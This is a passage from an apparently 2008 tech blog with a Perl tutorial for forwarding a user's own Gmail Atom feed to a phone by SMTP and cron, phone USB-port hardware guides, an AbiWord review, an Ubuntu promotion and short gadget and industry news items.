The final thing to do is to re-write the 'ids.old' file to contain the message ID for all emails in our current feed. This code is placed after the $parser->parse line, making it the last thing that happens in our main routine (and immediately above our subroutine code).

open(NEWID, ">ids.old");
foreach $id (@newIDs) {
print NEWID $id . "\n";
}
close(NEWID);

Putting it all together
We want a single command to run to complete both functions (download and parse the atom feed). So, save the perlscript as 'mail.pl' and make a small shell script called run.sh:

#!/bin/sh

wget -O atomfeed https://mail.google.com/gmail/feed/atom --http-user=gmail.user@gmail.com --http-password=gmailPassword
./mail.pl

Test this out. If it doesn't work, try adding debugging statements in the code to see where/why it fails.

Automation
The last thing to do is to automate the script so it runs periodically. For this you need to be running a cron daemon. There's a large variety of daemons available, each with it's own method of configuration. For Gentoo users, we can do the following (as root):

host user # crontab -e

Then add a line to the crontab file such as:

0,15,30,45 * * * * /home/th0mas/mobigm/run.sh

This tells the server to run the script 0, 15, 30, and 45 minutes after every hour.

Ideas
It'd be easy to set up custom filters, for example you could compare the author's name to a whitelist, or ensure that it is currently a specific time of day (or do that automation with the crontab). Or you could modify the code to look at other RSS or atom feeds to notify your cellphone of a new blog update.

Download
You can download a copy of the files we've created in this entry here:
http://th0mas.xbox-scene.com/tuts/mobigm-1.tgz

Feedback
This is the first tutorial I've written in awhile. Please let me know if I should expand on detail in places, or be more terse in others. I'll be reading the comments.

AbiWord 2.4 - A serious Open Source alternative to Microsoft Word or Open Office

2008-03-02T19:57:00.001-08:00

Time to upgrade your Microsoft Office and the price has you reeling? Or maybe you've considered Open Office,
but have a dial-up connection and can't tie up the phone line for the 2
days it would take to download? Well, there is a serious alternative
out there, and it's called AbiWord.
And you won't have to leave the rest of the world behind - AbiWord
reads and writes the Microsoft doc format, as well as quite a few other
formats.

The download weighs in at only 22mb, but the program
contains all the features that most of us need in a word processor. MS
Word and Open Office Writer are bloated with features that most of us
will never use.

AbiWord comes with a very capable spell checker,
multi-language support, mail-merge, and can handle tables, columns,
headers/footers, page numbers, revisions, bookmarks, table of contents,
and HTML links. You can also insert images, fields, text boxes, and
symbols into documents.

The interface is very similar to MS
Word, but without the extra clutter. The program launches quickly and
movement within documents is fast as well. You can export documents
directly in the default AbiWord format, MS doc or HTML/XHTML format.
Available plug-ins allow you to read/write WordPerfect and OpenOffice
files.

One thing missing from AbiWord is the auto-complete that
I've grown used to in OpenOffice Writer. This feature completes
commonly-typed words for you after you have typed the first few
characters. I will be suggesting this feature to the folks at AbiWord.
The only other downside to this program is the lack of an integrated
help file - The help file is an HTML file stored in the program
directory (or you can view the help file on the AbiWord website).

The Bottom Line...

If
you've been looking for a cheaper alternative to MS Word or something
more lightweight than OpenOffice, then I would definitely recommend
giving AbiWord a try. It handles the tasks that most of us need on a
daily basis and the price is hard to beat (free for any use). AbiWord
is compatible with all Windows up to XP (no mention of Vista support on
the author's website), Mac OS X and Linux. You can downloaded AbiWord here.

MobiGM, First edition

2008-03-02T09:05:00.000-08:00

What is it?

MobiGM is a small utility that periodically checks your GMail inbox, and sends updates to a mobile phone via email. Certainly, you could just set up a couple filters with GMail's powerful filtering system to forward messages to your phone and be happy with that, but MobiGM allows you to dynamically react to what appears in your mailbox (which we will exploit in future projects).

Technologies used/Requirements:

GMail / atom feeds
PERL

XML::Parser
Net::SMTP

cron
Linux
BASH
wget

How does it work?

GMail users can subscribe to an atom feed that contains unread emails in their inbox. We will write a simple script to download the atom feed, parse it, figure out if any emails are new, and forward the new emails to our cell phone address. Note that there are still some pay-as-you-go cellphone providers that do not charge for receiving text messages (even from email), so this can be a very inexpensive way to keep track of your inbox on the go.

There is a lot of potential to add power to this application. With a little knowledge of PERL, you could create custom filters (including things impossible with GMail filters such as "only forward during xx hours of the day") and reactions to receiving emails.

Let's begin.

Receiving the feed

Note: You could do this also in PERL. I'm doing it in wget.

The first thing the script needs to do, is receive the atom feed for your GMail inbox. We will use GNU wget to obtain the feed. In it's most basic form, wget's syntax is:

wget

However, we need to specify a few additional parameters, namely HTTP authentication username and password. As well, we want to force wget to always download to the same filename. It's normal action is to not overwrite files that already exist, so we have to override it. So, the syntax becomes:

wget -O --http-user= --http-password=

For GMail, the parameters are as follows:

URL: https://mail.google.com/gmail/feed/atom
http-user : your.e.mail@gmail.com
http-password: your gmail password

Note that since the atom feed is on an https server, we are not passing our username/password in the clear.

For the article, let's force wget to save into a file called 'atomfeed'. Our command is now:

wget -O atomfeed https://mail.google.com/gmail/feed/atom --http-user=gmail.user@gmail.com --http-password=GMailPassword

Now that we have the atom feed, it is time to parse it.

Parsing the Atom feed

We will use a short PERL script to parse the atom feed, and forward pertinent messages to the cellphone.

Atom feeds are conceptually the same as RSS feeds, in case you have not heard of both. They are XML documents that contain a summary of information: ie, blog entries, news entries, or in this case, your unread messages in your inbox. The structure of the GMail atom feed is as follows:

feed - top level tag

fullcount - Number of unread emails
entry - tag for each unread email

title - Email subject line
id - Unique identifier for each inbox entry
summary - Short snippet of email contents
author - Parent tag for source's information

email - Author's email
name - Author's name

Since the atom feed is a properly formatted XML document, we will use the PERL module XML::Parser to parse the data. First, we'll set up some variables for parsing and for keeping track of our state.

#!/usr/bin/perl -w

use XML::Parser;
use Net::SMTP;

open(ATOM, "atomfeed") or die ("Failed to get atomfeed");

my $page;

#load the atom feed
while ($line = ) {
$page = $page . $line;
}
close(ATOM);

my $curID = "";
my $curTitle = "";
my $curContents = "";
my $curAuthor = "";
my $curAuthorEmail = "";

my $elementtext;
my @context;
my @oldIDs;
my @newIDs;

my $parser = new XML::Parser();

The code's pretty self explanitory. We load the atom feed into the $page variable. For use with the parsing functions, we initialize five variables ($curID. $curTitle, $curContents, $curAuthor, $curAuthorEmail) used to keep track of the entry currently being parsed. As well we create variables to keep track of our parsing state ($elementtext and @context). Ignore the ID-related variables, we'll deal with them later.

Our next step is to use XML::Parser to parse the atom feed. This is accomplished by the following code:

$parser->setHandlers(
Start => \&startTag,
Char => \&parseTag,
End => \&endTag, );

$parser->parse($page);

What we've done is told the XML parser to use three supplied subroutines (passed by reference) as callbacks during parsing. The startTag routine will be called whenever the parser encounters a new tag. Likewise, the parseTag routine is called as we encounter text in each tag, and the endTag routine is called whenever the parser encounters the end of a tag. The final line of the snippet executes the parser, parsing the atom feed using our supplied functions.

We have to supply these subrountines, since they detail how we deal with the data we're parsing. Put these at the bottom of the perl script since they're separate subrountines.

sub startTag {
my ($p, $tag, %atts) = @_;
push @context, $tag;
}

sub parseTag {
my ($p, $text) = @_;
return if ($text !~ /\S/);
$text =~ s/^\s*//;
$text =~ s/\s*^//;
$elementtext .= $text;
}

sub endTag {
my ($p, $tag) = @_;

$parentElem = $context[-2];

if ($tag eq "id" && $parentElem eq "entry") {
$curID = $elementtext;
} elsif ($tag eq "title" && $parentElem eq "entry") {
$curTitle = $elementtext;
} elsif ($tag eq "summary" && $parentElem eq "entry") {
$curContents = $elementtext;
} elsif ($tag eq "email" && $parentElem eq "author") {
$curAuthorEmail = $elementtext;
} elsif ($tag eq "name" && $parentElem eq "author") {
$curAuthor = $elementtext;
} elsif ($tag eq "entry") {
push @newIDs, $curID;
my $old = 0;

sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");

}
$elementtext = "";
pop @context;
}

The startTag and parseTag subroutines are trivial. We're using the @context array as a stack to keep track of our state within the parser. Each time we enter a tag and begin to parse it's children or data, we push the element name onto the stack. We use this in the endTag subroutine to determine what to do with the parsed text. The parseTag subroutine, which is run during the parsing of data nodes, appends whatever data is supplied to the routine to the $elementtext variable (which will be used in endTag.

The endTag subroutine looks at the current context in the node tree and saves the current $elementtext to the proper variable. Whenever we encounter the end of an entry tag, we send the email to the server. This is a dirty solution: a nicer solution would be to save all the entry data into a data structure and later deal with each entry saved (an exercise for the reader ;) ). The final thing the procedure does is pop the finished tag off the @context stack and clear the $elementtext buffer.

Note that if you want to change the format of the sent email, change the formatting in the sendMail function call, above.

Sending the Email

As shown in endTag, we use sendMail to send the email to the cellphone. The source code is as follows:

sub sendMail {

my @message;
push @message, $_[0];

$smtp2 = Net::SMTP->new('smtp.server.ca');

$smtp2->mail('source.email@isp.ca');
$smtp2->to('cellphoneemail@provider.com');
$smtp2->data();
$smtp2->datasend(@message);
$smtp2->dataend();
$smtp2->quit;

}

sendMail just uses the Net::SMTP module to send an email. You need to provide a SMTP server, source email address, and your cellphone's email address.

What about duplicates?!?!

There's a major flaw with our current solution: every time our perlscript runs, it will send an email for all unread messages in our mailbox! That means that, until we read the messages, we will receive text messages every n minutes for the same messages. Obviously this is unsuitable!

Solution

We will save the ID's of messages we have notified the cellphone of in a file. Before emailing the cellphone, we will compare with a saved list of ID's for messages that we have already sent to the cellphone. That way, the phone only receives notification of new emails.

The first step is to load all the old ID's into an array. Place the code snippet below after the variable declaration (first snippet) and before the parser initialization (second snippet)

#load the previous inbox ID's
open(OLDID, "ids.old");
while ($line = ) {
chomp $line;
push @oldIDs, $line;
}
close(OLDID);

We open the file 'ids.old' (assumably saved by a previous run of the script), and load each line of the file into an array. We will modify endTag to look through this array before determining whether or not it should send the email address, by changing the function's code as follows:

sub endTag {
my ($p, $tag) = @_;

$parentElem = $context[-2];

if ($tag eq "id" && $parentElem eq "entry") {
$curID = $elementtext;
} elsif ($tag eq "title" && $parentElem eq "entry") {
$curTitle = $elementtext;
} elsif ($tag eq "summary" && $parentElem eq "entry") {
$curContents = $elementtext;
} elsif ($tag eq "email" && $parentElem eq "author") {
$curAuthorEmail = $elementtext;
} elsif ($tag eq "name" && $parentElem eq "author") {
$curAuthor = $elementtext;
} elsif ($tag eq "entry") {
push @newIDs, $curID;
my $old = 0;
#was email in oldids?
foreach $id (@oldIDs) {
if ($curID eq $id) {
$old = 1;
}
}
if ($old == 0) {
sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");
}
}
$elementtext = "";
pop @context;
}

As you can see, we are now comparing each entry's id to the loaded list of old ID's. Only if the id is not in the list do we notify the cell phone of the waiting message. As well, we are saving every message ID (old or new) in the array @newIDs.

The final thing to do is to re-write the 'ids.old' file to contain the message ID for all emails in our current feed. This code is placed after the $parser->parse line, making it the last thing that happens in our main routine (and immediately above our subroutine code).

open(NEWID, ">ids.old");
foreach $id (@newIDs) {
print NEWID $id . "\n";
}
close(NEWID);

Putting it all together

We want a single command to run to complete both functions (download and parse the atom feed). So, save the perlscript as 'mail.pl' and make a small shell script called run.sh:

#!/bin/sh

wget -O atomfeed https://mail.google.com/gmail/feed/atom --http-user=gmail.user@gmail.com --http-password=gmailPassword
./mail.pl

Test this out. If it doesn't work, try adding debugging statements in the code to see where/why it fails.

Automation

The last thing to do is to automate the script so it runs periodically. For this you need to be running a cron daemon. There's a large variety of daemons available, each with it's own method of configuration. For Gentoo users, we can do the following (as root):

host user # crontab -e

Then add a line to the crontab file such as:

0,15,30,45 * * * * /home/th0mas/mobigm/run.sh

This tells the server to run the script 0, 15, 30, and 45 minutes after every hour.

Ideas

It'd be easy to set up custom filters, for example you could compare the author's name to a whitelist, or ensure that it is currently a specific time of day (or do that automation with the crontab). Or you could modify the code to look at other RSS or atom feeds to notify your cellphone of a new blog update.

Download

You can download a copy of the files we've created in this entry here:
http://th0mas.xbox-scene.com/tuts/mobigm-1.tgz

Feedback

This is the first tutorial I've written in awhile. Please let me know if I should expand on detail in places, or be more terse in others. I'll be reading the comments.

Phone USB Cable from Car Charger

2008-03-02T09:01:00.001-08:00

So you dont want to cut up your phone....( if you do... )

well if your phone came with a car charger or even a desktop charger you could be in luck.

this method is fairly straightforward so ill keep it simple

first take apart the part that connects to the phone

NOTE: look at the pins! if there are less then three pins get another charger.

the charging circuit requires minimum 2 wires connected, dont count the wires, count the pins that the wires are attached to (see picture)
in this picture you can see the original red and black wires plus the wires i attached

next find the pinout for your charger and solder the wires from the usb cable to the connector

smash everything inside the connector and screw it back together

there. you now have a way to connect the phone to your computer via usb without cutting up the phone.

what you can do now is only limited by the phone you use

the bitpim software is very versatile

create your own ring tones
copy photos/wallpaper to and from your computer
backup your address book
use you phone as a modem
backup your calendar
etc

Add a USB port to your Cell Phone

2008-03-02T08:46:00.001-08:00

First i want to say, i am not responsible for any damage to your phone, expressed or implied, simply because this is a diy tutorial. USE THIS TUTORIAL AT YOUR OWN RISK!

That being said, let's get on with it.

I want to thank pinouts.ru for having a vast amount of information regarding pinouts for many items. hopefully you will be able to find the information you need.
I also want to thank bitpim.org for having the software needed to access my phone. With it you can transfer your phone book, pictures, and even custom made ring tones, along with other stuff.

I did this hack for two reasons, first, i didnt want to buy a usb cable for my phone. call me "cheap" but i did not see a reason to spend $30-$50 on a cable that i wouldnt use that often. second, theres no reason for me to spend $15/month for internet access on my phone, when i am only spending $10/mo for service. but still i wanted the freedom to take pictures with the phone and still be able to get the pictures off of it.

What you will need:

a camera phone ( I used a Samsung A620/VGA1000)
a mini usb connector (pulled from a dummy Blackberry)
80-pin ide cable(or other small wires)
solder, soldering iron
a little tape for insulation
dremel or something to cut the phone shell
magnifying glass or some way to make your soldering easier
a lot of patience, massive amounts

i
had an old "dummy" Blackberry, you know, the "for display only" kind.
so i took it apart and found many useful electronic items in it.

de-soldered the usb jack to use in my phone

then take a 80-pin ide cable, or whatever small wire you use for such projects, and strip the ends
carefully
solder the wires to the jack. on mine i wanted to use the red wire as
my the #1 pin for easier wiring, but when i double checked it, i wired
it backwards, so now my red wire is the #4 wire.
once you get your usb cable ready we move to the fun part

you
need to disassemble your phone and find a location to put the usb port.
i think if you have an older phone it should be simple to find a spot.
mine was in place of the carrying strap, which i really didnt need.

slowly
cut out the space you need to install the usb port. take your time,
especially if its the only phone you have. i was lucky that i had a
second, non-working A620 i could try it on. just in case it didnt work
i would still have a working phone.

heres a picture showing before and after the modification of the shell.

this
is the fitting stage. keep trying to get the usb jack to fit. trim a
little here and there, bend the tabs on the usb jack, just do what you
have to to get it to fit. but keep in mind you want this phone functional
when your finished. dont just get the usb jack to fit, you need to do a
mock assemble, a "dry run", and put the phone back together to make
sure everything still goes back together.

now
as far a the phone goes, realize that everything is tiny, and to work
on it you need tiny things. i had to modify my soldering tip (just used
a wheel grinder on it) to work on this project.

this is why i ground it down. (those three connectors in the foreground connect to the battery pack), pretty tiny, eh

sorry about the pictures, its difficult to snap a clear shot while holding a magnifying lens.

it took me about an hour and a half to solder 4 wires. 1 1/2 hours! the reason is that i took my time. and this is what i found out that will help you out on yours:

put
enough solder on the wire just to change its color. copper to silver.
if you have a "blob", no matter what size, its too much. do this to all
the wires before you start, because its a real pain trying to do it
when some of the wires are already soldered

when
you are finished connecting the wires, apply a little tape to help hold
it in place and it help with insulation also. as you go to assemble
everything take your time, you got this far, dont break something
because youre rushing to get it back together.

i took this picture to show that it still functions. hope yours comes out just as nice or better

do more research:

find out all the information you can on your phone to see if its possible to do this
gather pinout information, schematic, diagrams or look for someone else that done it on your style phone
i found out that i needed a certain winXP driver for my phone to be recognized, do the same for yours
its
always nice to have a backup, ask friends, family, coworkers if they
have any non-working or unused phones that you can practice on before
attempting modification on yours
as always -have fun!-

How-To: Replace a mini USB port (on your cellphone)

2008-03-02T08:12:00.001-08:00

At
some point, just about everyone manages to mess up their precious
electronics. In this case, someone (not me) somehow managed to totally
demolish the mini USB port in their new Motorola cell phone. Surface
mount repairs can be challenging without some serious tools, but it's
possible to replace parts without a re-work station. (Guess what I'm
getting for Christmas this year.) Today I'll show you that's it's
possible to repair a surface mount part with some fairly inexpensive
tools.
To do this repair, you'll need just a few tools:

fine tip soldering iron (Weller 15 watt)
Dremel tool with cut off wheel
De-soldering Braid
Torx T5 screwdriver
small flat bladed screwdriver (optional)
Diagonal cutters
small hemostat or fine tweezers
Panavise, helping hands or similar bench top holding device.

I already had all the soldering gear, but I had to track down a new T5
driver since mine vanished. I picked up a decent quality, iron oxide
coated T5 driver at Sears for a little over $3. Sears actually has
these individually, so you don't need to buy a set.

To get started, take off the back cover and remove the battery.

Next, whip out that Torx T5 and remove the screws holding the phone together. On this one, there were only four to remove.

With
the screws out, gently pull the phone apart. The lower half of this
Motorola clips together, so I gently worked around the edges with a
small flat screwdriver until it came apart.

The
SIM card board easily separates from the phone via the flat SMD
connector. Just gently apply pressure near the connector and it comes
right off.

Next,
the flat ribbon cable needs to be detached in the same manner, and the
main PC board removed from the phone. It should pull right out once the
cable is disconnected.

As
you disassemble the phone, put each of the pieces into a parts bin. Any
sort of container will do, but I'd avoid a static generating plastic
Tupperware container.

Carefully
place the board in your clamp/Panavise/whatever - I had to line up the
buttons with the slots in the vise, or I probably would have damaged
them when I clamped the board.

You'll need a new connector before you can fix anything. I ordered this new SMD mini USB port from Mouser electronics (Part #538-67503-1020). It's very nearly the exact same part, down to the yellow tape on top.

In
order to check the condition of the pins, clip the two tabs that hold
the rear shielding on to the connector with a pair of diagonal cutters
(optionally, you can use a Dremel/rotary tool).

With
the rear shield removed, we can access the rear pins - Unlike the
front, everything looks pretty good. The advantage of surface mount
parts is that they don't require much solder to hold together.
Unfortunately, when you're replacing a surface mount part, a small
amount of solder can keep you from removing the part without damaging
the board.

To keep from burning this foam seal, peel it back and stick it off to the side.

Enter the rotary tool. Sliced the top off of the connector by cutting the sides lengthwise.

The
damage to the pins was pretty amazing once the top was off. Ouch! I
went ahead and peeled off that foam seal when I started cutting. Note
that the fourth pin is actually shoved inward and upward just a bit.

Next,
cut across the center of the connector. The bent pins should be gently
cut loose and the upper half of the plastic connector will probably
fall apart. The shielding on the sides should be cut to allow each leg
to be removed individually. (Be careful not to cut the PC board below!)

Working
from one side to the other, heat up the solder pad on each pin. Then
use some tweezers to grip each pin of the connector. (I used a small
pair of alligator forceps) If the solder is hot enough, the surface
mount pin should come loose with little to no force. It's vitally
important to be as gentle as possible with each one. The solder pads on
the PC board are very delicate, and easy to pull up if you're not
careful. Unfortunately, overheating the pads can also cause them to
pull up. So be quick about it!

With the delicate pins out of the way, I carefully cut apart the remaining plastic and removed it.

Finally, the remaining legs of the shielding were heated and removed from the board.

After
that, I used de-soldering braid to remove the excess solder from the
pads. Not everything came out perfectly. The second to last pad didn't
make it through the removal process. In this case, I'm pretty sure that
that pin took some impact when the connector was trashed. I was careful
not to torque the pins as I removed them, but I'm not surprised that
one pad didn't make it considering the amazing amount of damage to the
port.

The pin in question is numbered X on this
Motorola charger pin-out. It's shorted with a resistor to pin 2 to
indicate that a charger is connected. Unfortunately, the phone will
never charge from a wall charger again (unless the board is swapped
out.) It's possible that the trace could be rebuilt with a conductive
pen, but I'm doubtful that it would be that successful.

Now
we're ready for the new port. There's one difference between the
original and the replacement: two pins that are designed to align the
port on the board. They're plastic, so it's an easy fix.

Grind
them off with your rotary tool so that the connector is smooth on the
bottom. After that, clip the tabs on the new port and remove the rear
shielding as before.

After
the new port is aligned (double check the pins in the rear!) solder one
of the shielding legs to the board. Double check the pin alignment
again, and solder the other legs. Now the port should be solidly
mounted.

Next,
the pins on the new port need to be soldered. The super fine tip on my
15 watt Weller pencil made this easy. Alternatively, you can use a
wider tip to solder things and go back over the pins with de-soldering
braid to remove any solder bridges. If you forgot to remove the rear
shield, you'll have one hell of a time soldering the pins. On this
particular phone, the metal shielding behind the port made it
impossible to access the pins without removing the rear shielding.

Despite the missing pin, the phone started up just fine when we plugged it in. One more cell phone saved from the recycle bin.

Ubuntu

2008-03-02T06:48:00.000-08:00

Hey, I just found a new interesting operating system. Well, its free!!!

It has everything you need on a system. Its name is Ubuntu

What is Ubuntu?

Ubuntu is a community developed operating system that is perfect for laptops, desktops and servers.

products

Whether you use it at home, at school or at work Ubuntu contains all the applications you'll ever need, from word processing and email applications, to web server software and programming tools.

Ubuntu is and always will be free of charge. You do not pay any licensing fees. You can download, use and share Ubuntu with your friends, family, school or business for absolutely nothing.

We issue a new desktop and server release every six months. That means you'll always have the the latest and greatest applications that the open source world has to offer.

Ubuntu is designed with security in mind. You get free security updates for at least 18 months on the desktop and server. With the Long Term Support (LTS) version you get three years support on the desktop, and five years on the server. There is no extra fee for the LTS version, we make our very best work available to everyone on the same free terms. Upgrades to new versions of Ubuntu are and always will be free of charge.

Everything you need on one CD, which provides a complete working environment. Additional software is available online.

The graphical installer enables you to get up and running quickly and easily. A standard installation should take less than 25 minutes.

Once installed your system is immediately ready-to-use. On the desktop you have a full set of productivity, internet, drawing and graphics applications, and games.

On the server you get just what you need to get up and running and nothing you don't.

What does Ubuntu mean?

Ubuntu is an African word meaning 'Humanity to others', or 'I am what I am because of who we all are'. The Ubuntu distribution brings the spirit of Ubuntu to the software world.

Features

OpenOffice - A complete productivity suite

Word Processor has everything you would expect from a modern, fully equipped word processor or desktop publisher. It's simple enough for a quick memo, powerful enough to create complete books with contents, diagrams, indexes, etc. You're free to concentrate on your message - while Word Processor makes it look great. The Wizards feature takes all the hassle out of producing standard documents such as letters, faxes, agendas, minutes, or carrying out more complex tasks such as mail merges.

Spreadsheet is the programme you've always wanted. Newcomers find it intuitive and easy to learn; professional data miners and number crunchers will appreciate the comprehensive range of advanced functions. Of course, you are free to use your old Microsoft Excel spreadsheets, or save your work in Excel format for sending to people who still use Microsoft products. If all they want to see is your results, then use Portable Document Format (.pdf) - no need to buy any extra software.

Presentation is an outstanding tool for creating effective multimedia presentations. Your presentations will stand out with 2D and 3D clip art, special effects, animation, and high-impact drawing tools. A complete range of views are supported: Drawing / Outline / Slides / Notes / Handouts to meet all the needs of presenters and audiences, plus an optional multi-pane view to put all the tools at your fingertips.

Integrated email and calendaring

Whether you need to simply check your email, create a calendar or search for a contact, Evolution can help you.

New features in Evolution 2.8.0 include vertical message panes. See your email the way you want it. Search Folders are saved intelligent searches which can display groups of email according to your specified criteria. Create Search Folders to combine mail from different mail accounts into a single view, quickly view all mail from your boss (or a particular friend).

Easy note-taking with Tomboy

Tomboy is a desktop note-taking application. It is simple and easy-to-use, but with potential to help you organise the ideas and information you deal with every day. Tomboy relates notes and ideas together. Using a wiki-like linking system, organising ideas is as simple as typing a name.

Safe, easy and tabbed web browsing

Firefox 2.0 is a powerful, award-winning and standards compliant web browser. With tabbed browsing you'll be able to use one window to view all your web pages.

New features in 2.0 include inline spell check support in web forms, restore session that crashed, built in phishing detectors, better support for previewing and subscribing to web feeds, enhanced search engine management with built in OpenSearch support, and much more.

Easy editing and uploading of photos

F-spot enables you to import your photos from your hard drive, camera (including PTP type), or iPod, and supports 16 common files types, including JPEG, GIF, TIFF, RAW. Your photos can be tagged for searching and grouping. Other features include fullscreen and slideshow modes.

Editing photos in F-Spot is a breeze. Easily rotate, crop, resize, and adjust red eye and other colour settings with a few simple clicks, and versioning ensures your originals are never altered. You can also enter descriptions of photos that are saved in the actual file so other people and programmes will be able to see them, whether they use F-Spot or not.

Music and videos

Rhythmbox media player has a number of features that let you easily store, search and browse your music library and listen to internet radio. You can also view films, or videos, using Totem which features a play list, a full-screen mode, seek and volume controls and keyboard navigation.

You can download Ubuntu, or request a free CD from Canonical.

System Requirements

Ubuntu is available for PC, 64-Bit and Mac architectures. CDs require at least 256 MB of RAM. Install requires at least 2 GB of disk space.

How to Quickly Read Small Fonts on Metacafe As Well As Other Site

2008-03-01T20:30:00.000-08:00

How to Quickly Read Small Fonts on Metacafe As Well As Other Sit - For more funny movies, click here

I am 52 years old, and I am not able to read the small fonts on the computer without the help of my specs. But, a after I found this technique reading small fonts is a Jiffy. This works only on Mozilla Firefox

Intex Showcases Their Range of Gadgets

2008-03-01T08:21:00.000-08:00

Intex Technologies (India) Ltd, Delhi, elaborated its business plans for Western India for FY 2007-08, in the city. Along with revealing their target of Rs. 115 crore from the region this year, they also had a wide range of their products displayed. Among the range were some of the new Intex mobile phones which have hit the Indian market aside from the Aura and Infi models that were launched earlier.

The Envy 1044 is a lightweight mobile (78g) with a 1.8 inch TFT display sporting a resolution of 176 x 220 pixel resolution and 262k colors. It has video caller ID and the memory can be expanded. A 512MB card is provided with the box. It’s equipped with a 1.3 megapixel camera that records video. It supports MP3 playback and files can also be used as ringtones. It also has USB support. The Envy 1044 also has 8 embedded games and loudspeaker. It's priced at Rs. 4,990.

The Flair 1107 has a 1.5 inch CSTN display with a resolution of 128 x 128 pixels and 65K colors. It also has a torch light feature and is an entry level mobile priced at Rs. 1,990.

Envy 1044 and Flair 1107

The Estelo 3060 is a slider phone with a 1.3 megapixel camera, an MP3 player and USB support. It has a 2.0 inch TFT display with a resolution of 176 x 220 pixels and 262K colors. The phone's camera also doubles as a web cam for video chats on the PC. The Estelo 3060 also supports Bluetooth. It's available at Rs. 5,440 with 512 MB T-Flash Card and Rs.5,640 with 1GB T-Flash Card.

Intex’s higher range mobile the Ultima 1170 is equipped with a 3.2 megapixel auto-focus camera, an MP3 player, supports Bluetooth and also has an integrated FM radio. The Ultima 1170 has a 2.4-inch QVGA display that sports a 240 x 320 pixel resolution with 262K colors. It also supports video caller ID and is also equipped with TV out capability, expandable memory, USB support and this models can also be sued as a webcam. It’s priced at Rs. 13,999.

Estelo 3060 and Ultima 1107

One of the previously launched models the Aura is now available in Gold and is priced at Rs. 6,990 with a 1 GB T Flash card and the older Aura Black is priced at Rs. 6750 with a 1 GB T Flash card.

Aura Black and Aura Gold

Along with their mobile phones Intex also showcased their Bluetooth headset the Bluetooth 121, their 5 megapixel webcam and a slew of other products from Bluetooth enabled car audio and video players, car speakers to computers, monitors, Laptops, Speaker systems and other gizmos and devices for your home and car.

Lost, Frontlines and Denied Ops Dated

2008-03-01T07:53:00.001-08:00

I just got off the phone with local game distributor, e-xpress
Interactive who filled me in on their packed schedule for the month of
March in the form of three major releases (ok so it’s more like
two major releases and one mediocre one).

On the 14th of March, gamers all over India will get their grubby little paws on:

Lost: Via Domus (PC)
Frontlines: Fuels of War (PC – 699)
Conflict: Denied Ops (PC – 699, Xbox 360 – 1999, PS3 – 2499)

BenQ Release Ultra Portable Projector

2008-03-01T07:52:00.001-08:00

BenQ has launched a new DLP Projector – the BenQ CP220C, the size of a B5 sheet of paper, designed for portability

The
BenQ CP220C projects at native XGA (1024 X 768) resolution and features
a brightness of 2000 ANSI lumens with a contrast ratio of 700:1. BenQ's
color matching technology ensures that the color quality of the
projected image matches with the color displayed on the notebook's
screen. Real time Auto-Keystone technology, Carl Zeiss lens etc. are
few of the goodies that make up the projector. It also has an
off-and-go function which enables the projector to cool off quickly.

Ish
Bawa, Marcom Head, BenQ India, said, "There is a growing trend of
"mobile" office in industries such as media, HR and finance, which
involves senior level executives to travel and make presentations to
the audiences out of their offices. Hence, there has been an emerging
demand for products that are portable and easy-to-carry. BenQ's CP220C
series of portable projectors is an ideal solution to cater to the
needs of such professionals."

The new projector will be available at BenQ IT zones and through BenQ dealers at Rs. 58,990.

Google Unveils Tools to Set Up Web Sites

2008-03-01T07:51:00.001-08:00

Google, already the world's most popular spot for finding Web sites, is
aiming to become the go-to place for creating Web sites too.

The Mountain View-based company is taking its first step toward that
goal Thursday with the debut of a free service designed for high-tech
neophytes looking for a simple way to share information with other
people working in the same company or attending the same class in
school.

With only a few clicks, just about anyone will be able
to quickly set up and update a Web site featuring wide an array of
material, including pictures, calendars and video from Google Inc.'s
YouTube subsidiary, said Dave Girouard, general manager of the division
overseeing the new application.

"We are literally adding an edit button to the Web," Girouard said.

All sites created on the service will run on one of Google's computers.

Google acquired many of the Web-site tools when it bought a Silicon Valley startup, JotSpot, last year.

The tools are the latest addition to a bundle of applications that
Google offers to consumers and businesses as alternatives to similar
products sold by Microsoft Corp., one of Google's fiercest rivals.

Google's latest service represents a challenge to Microsoft's
SharePoint, which charges licensing fees. Google is unveiling its
alternative just a few days before Redmond, Wash.-based Microsoft hosts
a SharePoint conference in Seattle.

While Microsoft's programs
typically are installed on individual computers, Google keeps its
application on its own machines so users can access them from anywhere
with an Internet connection.

By gradually introducing free
versions of word processing, spreadsheet, and calendaring programs over
the past two years, Google has been threatening to siphon revenue away
from Microsoft, which makes most of its money from software sales.

Microsoft, in turn, hopes to take a bite of out Google's
bread-and-butter in online search and advertising by buying Yahoo Inc.
for more than $40 billion.

Google says more than 500,000
companies, government agencies and schools use at least some of its
applications. The company won't say how many of those organizations
subscribe to a premium version of its software suite, but the fees
haven't made much of a dent at Google so far.

EU Fines Microsoft $1.3 Billion

2008-03-01T07:49:00.001-08:00

The European Union's longest-running fight with Microsoft Corp. neared
an end Wednesday as regulators imposed a record $1.3 billion fine on
the world's largest software company for failing to fully comply with a
2004 antitrust order.

Microsoft has not decided whether to appeal the penalty, which amounts
to a fraction of the $14.07 billion it earned in fiscal 2007. In all,
the company has been fined just under $2.4 billion by European
antitrust regulators over the years.

Barring an appeal, the
fine shuts the door on an investigation into Microsoft's behavior that
was triggered by a 1998 complaint by Sun Microsystems Inc. It alleged
Microsoft was refusing to supply information that servers need to work
with its market-dominating Windows operating system.

Microsoft
eventually made the information available to rivals, but the EU said it
charged "unreasonable prices" until last October.

EU
Competition Commissioner Neelie Kroes said Microsoft now appears to
have finally complied with the 2004 EU antitrust order. But she warned
that the company was not yet in the clear because the EU last month
launched new probes into its Office software and Windows' Internet
browser.

The fine was handed down as Microsoft pursues its
biggest acquisition to date, but Matt Rosoff, an analyst at the
research group Directions on Microsoft, said it would have no effect on
the software maker's bid for Web portal operator Yahoo Inc.

"This is a fine for past behavior," said Rosoff, unrelated to
Microsoft's offer for Yahoo, which was valued at $44.6 billion in early
February.

Kroes also was skeptical over Microsoft's
announcement last week that it was further expanding its efforts to
make its software work better with rival technologies. A news release,
she said, "does not necessarily equal a change in business practice."

"Talk is cheap. Flouting the rules is expensive," she said.

Wednesday's penalty far outweighs the next biggest fine - $613 million
imposed on Microsoft for using its role as the world's leading supplier
of desktop software to elbow into new markets for workgroup servers and
media players.

Fines - which can hit as much as 10 percent of
company's global yearly revenue - are paid into the EU budget which
pays out farm subsidies and research grants. The European Commission
claims antitrust fines ultimately help reduce the financial burden on
